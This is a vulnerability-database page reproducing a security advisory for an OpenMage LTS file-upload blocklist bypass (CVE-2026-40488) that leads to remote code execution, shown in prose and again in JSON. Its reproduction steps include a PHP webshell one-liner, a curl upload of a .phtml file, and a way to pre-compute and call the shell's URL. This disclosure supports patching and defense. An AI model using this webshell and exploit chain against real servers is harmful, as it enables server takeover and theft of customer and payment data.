GHSA-3J5Q-7Q7H-2HHV

Vulnerability from github – Published: 2026-04-21 18:53 – Updated: 2026-04-21 18:53
VLAI?
Summary
OpenMage LTS: Customer File Upload Extension Blocklist Bypass → Remote Code Execution
Details

The product custom option file upload in OpenMage LTS uses an incomplete blocklist (forbidden_extensions = php,exe) to prevent dangerous file uploads. This blocklist can be trivially bypassed by using alternative PHP-executable extensions such as .phtml, .phar, .php3, .php4, .php5, .php7, and .pht. Files are stored in the publicly accessible media/custom_options/quote/ directory, which lacks server-side execution restrictions for some configurations, enabling Remote Code Execution if this directory is not explicitly denied script execution.

Affected Version

  • Project: OpenMage/magento-lts
  • Vulnerable File: https://github.com/OpenMage/magento-lts/blob/main/app/code/core/Mage/Catalog/Model/Product/Option/Type/File.php
  • Vulnerable Lines: 230-237 (_validateUploadedFile())
  • Configuration: app/code/core/Mage/Catalog/etc/config.xml:824

Root Cause

The file upload handler uses Zend_File_Transfer_Adapter_Http directly with ExcludeExtension validator, referencing only:

<!-- Catalog/etc/config.xml:824 -->
<forbidden_extensions>php,exe</forbidden_extensions>

This misses the comprehensive protected_extensions blocklist defined elsewhere:

<!-- Core/etc/config.xml:449-478 -->
php, php3, php4, php5, php7, htaccess, jsp, pl, py, asp, sh, cgi, 
htm, html, pht, phtml, shtml

Vulnerable Code

// app/code/core/Mage/Catalog/Model/Product/Option/Type/File.php:230-237
$_allowed = $this->_parseExtensionsString($option->getFileExtension());
if ($_allowed !== null) {
    $upload->addValidator('Extension', false, $_allowed);
} else {
    $_forbidden = $this->_parseExtensionsString($this->getConfigData('forbidden_extensions'));
    if ($_forbidden !== null) {
        $upload->addValidator('ExcludeExtension', false, $_forbidden);  // Only blocks php,exe!
    }
}

Steps to Reproduce

1. Environment Setup

Target: OpenMage LTS with Apache+mod_php or Apache+PHP-FPM (with .phtml handler)

2. Exploitation

# Upload .phtml (bypasses blocklist)
curl -X POST "https://target.com/vulnerable_upload.php" \
  -F "file=@shell.phtml;filename=shell.phtml"

Result: image

3. Code Execution

OpenMage derives the uploaded file's storage path deterministically from two values the attacker already controls:

SubdirectorygetDispretionPath($filename) takes the first two characters of the uploaded filename and uses them as nested directory names:

filename = "shell.phtml"  →  s/ h/  →  media/custom_options/quote/s/h/

Filenamemd5(file_get_contents($tmp_name)) is computed over the raw bytes of the uploaded payload (File.php:245):

// app/code/core/Mage/Catalog/Model/Product/Option/Type/File.php:245
$fileHash = md5(file_get_contents($fileInfo['tmp_name']));
$filePath  = $dispersion . DS . $fileHash . '.' . $extension;

Because the attacker writes the webshell themselves, both the filename prefix and file contents are known before the upload request is sent. The full URL can be pre-computed:

SHELL_CONTENT='<?php echo exec("id"); system($_GET["cmd"]??"id"); ?>\n'
HASH=$(echo -n "$SHELL_CONTENT" | md5sum | cut -d' ' -f1)
PREFIX=$(echo "shell" | cut -c1-2 | sed 's/./&\//g' | tr -d '\n' | sed 's/\/$//') # → s/h

```bash
curl "https://target.com/media/custom_options/quote/d9/bb4d647f16d9e7edfe49216140de2879.phtml"

Result: RCE Confirmed

image

Affected Deployments

Configuration Status
Apache + mod_php (with php_flag engine 0) SAFE
Apache + PHP-FPM VULNERABLE
Nginx (reference hardened config) SAFE
Nginx (generic config with .phtml→FPM) VULNERABLE

Impact

  1. Remote Code Execution: Full server compromise through webshell upload
  2. Data Exfiltration: Access to database credentials, customer PII, payment data
  3. Lateral Movement: Pivot to internal infrastructure
  4. Supply Chain: Inject malicious code into served content
Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 20.16.0"
      },
      "package": {
        "ecosystem": "Packagist",
        "name": "openmage/magento-lts"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "20.17.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-40488"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-434"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-21T18:53:13Z",
    "nvd_published_at": "2026-04-20T17:16:36Z",
    "severity": "HIGH"
  },
  "details": "The product custom option file upload in OpenMage LTS uses an incomplete blocklist (`forbidden_extensions = php,exe`) to prevent dangerous file uploads. This blocklist can be trivially bypassed by using alternative PHP-executable extensions such as `.phtml`, `.phar`, `.php3`, `.php4`, `.php5`, `.php7`, and `.pht`. Files are stored in the publicly accessible `media/custom_options/quote/` directory, which lacks server-side execution restrictions for some configurations, enabling Remote Code Execution if this directory is not explicitly denied script execution.\n\n## Affected Version\n\n- **Project:** OpenMage/magento-lts\n- **Vulnerable File:** `https://github.com/OpenMage/magento-lts/blob/main/app/code/core/Mage/Catalog/Model/Product/Option/Type/File.php`\n- **Vulnerable Lines:** 230-237 (`_validateUploadedFile()`)\n- **Configuration:** `app/code/core/Mage/Catalog/etc/config.xml:824`\n\n## Root Cause\n\nThe file upload handler uses `Zend_File_Transfer_Adapter_Http` directly with `ExcludeExtension` validator, referencing only:\n\n```xml\n\u003c!-- Catalog/etc/config.xml:824 --\u003e\n\u003cforbidden_extensions\u003ephp,exe\u003c/forbidden_extensions\u003e\n```\n\nThis misses the comprehensive `protected_extensions` blocklist defined elsewhere:\n\n```xml\n\u003c!-- Core/etc/config.xml:449-478 --\u003e\nphp, php3, php4, php5, php7, htaccess, jsp, pl, py, asp, sh, cgi, \nhtm, html, pht, phtml, shtml\n```\n\n## Vulnerable Code\n\n```php\n// app/code/core/Mage/Catalog/Model/Product/Option/Type/File.php:230-237\n$_allowed = $this-\u003e_parseExtensionsString($option-\u003egetFileExtension());\nif ($_allowed !== null) {\n    $upload-\u003eaddValidator(\u0027Extension\u0027, false, $_allowed);\n} else {\n    $_forbidden = $this-\u003e_parseExtensionsString($this-\u003egetConfigData(\u0027forbidden_extensions\u0027));\n    if ($_forbidden !== null) {\n        $upload-\u003eaddValidator(\u0027ExcludeExtension\u0027, false, $_forbidden);  // Only blocks php,exe!\n    }\n}\n```\n\n## Steps to Reproduce\n\n### 1. Environment Setup\n\nTarget: OpenMage LTS with Apache+mod_php or Apache+PHP-FPM (with .phtml handler)\n\n### 2. Exploitation\n\n\n```bash\n# Upload .phtml (bypasses blocklist)\ncurl -X POST \"https://target.com/vulnerable_upload.php\" \\\n  -F \"file=@shell.phtml;filename=shell.phtml\"\n```\n\n**Result:** \n\u003cimg width=\"1563\" height=\"733\" alt=\"image\" src=\"https://github.com/user-attachments/assets/c56d43e8-364a-4402-8198-9f49a50fd691\" /\u003e\n\n### 3. Code Execution\n\nOpenMage derives the uploaded file\u0027s storage path deterministically from two values the attacker\nalready controls:\n\n**Subdirectory** \u2014 `getDispretionPath($filename)` takes the **first two characters** of the\nuploaded filename and uses them as nested directory names:\n\n```\nfilename = \"shell.phtml\"  \u2192  s/ h/  \u2192  media/custom_options/quote/s/h/\n```\n\n**Filename** \u2014 `md5(file_get_contents($tmp_name))` is computed over the **raw bytes of the\nuploaded payload** (`File.php:245`):\n\n```php\n// app/code/core/Mage/Catalog/Model/Product/Option/Type/File.php:245\n$fileHash = md5(file_get_contents($fileInfo[\u0027tmp_name\u0027]));\n$filePath  = $dispersion . DS . $fileHash . \u0027.\u0027 . $extension;\n```\n\nBecause the attacker writes the webshell themselves, both the filename prefix and file contents are\nknown **before the upload request is sent**. The full URL can be pre-computed:\n\n```bash\nSHELL_CONTENT=\u0027\u003c?php echo exec(\"id\"); system($_GET[\"cmd\"]??\"id\"); ?\u003e\\n\u0027\nHASH=$(echo -n \"$SHELL_CONTENT\" | md5sum | cut -d\u0027 \u0027 -f1)\nPREFIX=$(echo \"shell\" | cut -c1-2 | sed \u0027s/./\u0026\\//g\u0027 | tr -d \u0027\\n\u0027 | sed \u0027s/\\/$//\u0027) # \u2192 s/h\n\n```bash\ncurl \"https://target.com/media/custom_options/quote/d9/bb4d647f16d9e7edfe49216140de2879.phtml\"\n```\n\n**Result:** RCE Confirmed\n\n\u003cimg width=\"1559\" height=\"827\" alt=\"image\" src=\"https://github.com/user-attachments/assets/12990f06-8750-48e6-87c5-add18b9e7260\" /\u003e\n\n## Affected Deployments\n\n| Configuration | Status |\n|---------------|--------|\n| Apache + mod_php (with `php_flag engine 0`) | SAFE |\n| Apache + PHP-FPM | **VULNERABLE** |\n| Nginx (reference hardened config) | SAFE |\n| Nginx (generic config with .phtml\u2192FPM) | **VULNERABLE** |\n\n## Impact\n\n1. **Remote Code Execution:** Full server compromise through webshell upload\n2. **Data Exfiltration:** Access to database credentials, customer PII, payment data\n3. **Lateral Movement:** Pivot to internal infrastructure\n4. **Supply Chain:** Inject malicious code into served content",
  "id": "GHSA-3j5q-7q7h-2hhv",
  "modified": "2026-04-21T18:53:13Z",
  "published": "2026-04-21T18:53:13Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/OpenMage/magento-lts/security/advisories/GHSA-3j5q-7q7h-2hhv"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-40488"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/OpenMage/magento-lts"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "OpenMage LTS: Customer File Upload Extension Blocklist Bypass \u2192 Remote Code Execution"
}


Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Sightings

Author Source Type Date

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.


Loading…

Detection rules are retrieved from Rulezet.

Loading…

Loading…